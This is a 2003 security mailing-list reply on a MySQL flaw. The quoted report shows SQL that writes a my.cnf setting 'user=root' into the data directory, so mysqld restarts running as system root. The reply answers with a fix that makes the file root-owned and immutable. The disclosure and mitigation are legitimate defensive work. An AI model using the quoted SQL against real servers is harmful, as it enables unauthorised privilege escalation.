Re: MySQL user can be changed to root

From: Christopher McCrory (chrismccat_private)
Date: Sun Mar 09 2003 - 17:50:27 PST

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    Hello...
    
    
    
    On Sat, 2003-03-08 at 03:58, bugsmanat_private wrote:
    > Hi. I tried this on my own MySQL 3.23.55 !!!
    > I found out that logging as the root user, we can change mysqld to run as root instead that i.e. mysql but this works only if there's just one my.cnf file and it is locate in /etc...
    > Here's how I did it...
    > 
    > I logged in as root and than I did this:
    > 
    > mysql>CREATE DATABASE roottext;
    > mysql>USE roottext;
    > mysql>CREATE TABLE hack (conf VARCHAR(80));
    > mysql>INSERT IN hack VALUES ('[mysqld]');
    > mysql>INSERT IN hack VALUES ('user=root');
    > mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
    > mysql>QUIT
    > 
    > Doing so we have create a my.cnf in mysql datadir containing:
    > 
    > [mysqld]
    > user=root
    > 
    > Now, when the mysql server will be restarted, the user option in our datadit my.cnf will override the one in /etc/my.cnf and mysql server will run as root, with all the security flwas that it takes...
    > This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get root access due to a bug (an exploit has been released publicly)...
    > I dunno how this problem can be solved, I'd like to hear from you something...
    
    Quick fix:
    
    change ownership of ~mysql/my.cnf to (system) root
    chattr +i
    
    e.g.:
    
    [Me@Here  /var/lib/mysql]$ sudo vi my.cnf
    [Me@Here  /var/lib/mysql]$ cat my.cnf
    # Empty
    
    [Me@Here  /var/lib/mysql]$ sudo chattr +i my.cnf
    
    [Me@Here  /var/lib/mysql]$ sudo -u mysql perl -pi -e "s#Empty# Mine#"
    my.cnf
    Can't remove my.cnf: Operation not permitted, skipping file.
    
    [Me@Here  /var/lib/mysql]$ cat my.cnf
    # Empty
    
    [Me@Here  /var/lib/mysql]$ ls -la
    total 28
    drwxr-xr-x    3 mysql    mysql        4096 Mar  9 17:43 .
    drwxr-xr-x   18 root     root         4096 Nov 16 18:24 ..
    -rw-r--r--    1 root     root            8 Mar  9 17:42 my.cnf
    
    
    
    
    
    > Thanks.... :)
    > by
    > Gufino
    -- 
    Christopher McCrory
     "The guy that keeps the servers running"
     
    chrismccat_private
     http://www.pricegrabber.com
     
    Let's face it, there's no Hollow Earth, no robots, and
    no 'mute rays.' And even if there were, waxed paper is
    no defense.  I tried it.  Only tinfoil works.
    



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